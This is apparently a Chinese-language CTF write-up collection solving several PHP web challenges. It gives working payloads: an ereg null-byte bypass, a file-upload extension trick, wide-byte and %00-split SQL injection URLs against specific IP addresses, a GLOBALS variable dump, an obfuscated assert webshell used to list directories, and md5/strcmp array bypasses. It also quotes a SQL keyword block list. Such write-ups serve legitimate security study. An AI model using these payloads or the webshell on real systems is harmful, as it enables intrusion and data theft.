本文是CTF题的复现,我尽量用自己的文字将writeup解释清楚。
ereg函数截断
一个php代码审计题,上代码:
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
首先第一层检查需要绕过ereg漏洞,百度可以知道存在截断的问题:ereg读到%00的时候,就截止了,
那么在字符串里面包括%00即可;
接着需要长度小于8但要大于9999999,想到hint里的科学方法,使用科学计数法即可;
还要求有-,最后构造password=1e9%00-,直接在地址栏提交,通过表单提交不会把%00看作截断符。
文件上传测试,提示上传PHP文件。
Burp抓包,将文件名改成 1.jpg.php 即可。
打开页面一直弹窗,阻止弹窗后,查看网页源码。
KEY{J2sa42ahJK-HS11III}
发现flag加密,去Unicode解密即可。
KEY{J2sa42ahJK-HS11III}
右键查看元素,GB312,想到款字节注入。
http://103.238.227.13:10083/?id=1%df' union select 1,database() %23
爆出所有的数据库,再结合题目,得到flag。
http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key %23
直接修改hosts文件。
KEY{DSAHDSJ82HDS2211}
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
可以看到,后台过滤了相关的sql查询代码。
这里考虑用%00绕过关键字过滤。
http://103.238.227.13:10087/?id=-1 uni%00on sel%00ect 1,hash fro%00m sql3.key
拿到flag{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
访问网址给出源代码,这里我稍微注释下:
flag In the variable !
<?php
error_reporting(0);// 关闭php错误显示
include "flag1.php";// 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
// 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
die("args error!");
}
eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目
}
?>
提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。
利用超全局数组 GLOBALS 可以打印出所有变量。
http://120.24.86.145:8004/index1.php?args=GLOBALS
flag{92853051ab894a64f7865cf3c2128b34}
JSPFUCK??????答案格式CTF{**}
JsFUCK又不是第一次见了,查看网页源码,复制到控制台,回车就可以啦!
过狗一句话,题目给了代码如下:
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
看提示,猜测 indexphp 就是shell 于是直接利用
用assert执行任意代码 ,题目中有$_GET's';于是构造代码扫描目录
http://120.24.86.145:8010/?s=print_r(scandir('./'));
访问http://120.24.86.145:8010/flag.txt得到flag
前女友,打开网页是这个,有意思:
查看源码,发现有code.txt,查看之:
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
根据php代码,以GET形式传递3个值,其中v1变量值 != v2变量值,if中的第二个判断条件用的是 ==,我们可以利用 "0x" == "0a"的判断结果为1,找出经过加密后的两个md5值以0开头,接下去以都相同的值,直到遇到的字母的两个字符串。
php中md5()函数漏洞和strcmp()函数漏洞的利用 所以简单构造下数组就可以了 http://118.89.219.210:49162/?v1[]=1&v2[]=2&v3[]=1
除特别注明外,本站所有文章均为慕白博客原创,转载请注明出处来自https://cloud.tencent.com/developer/article/1176135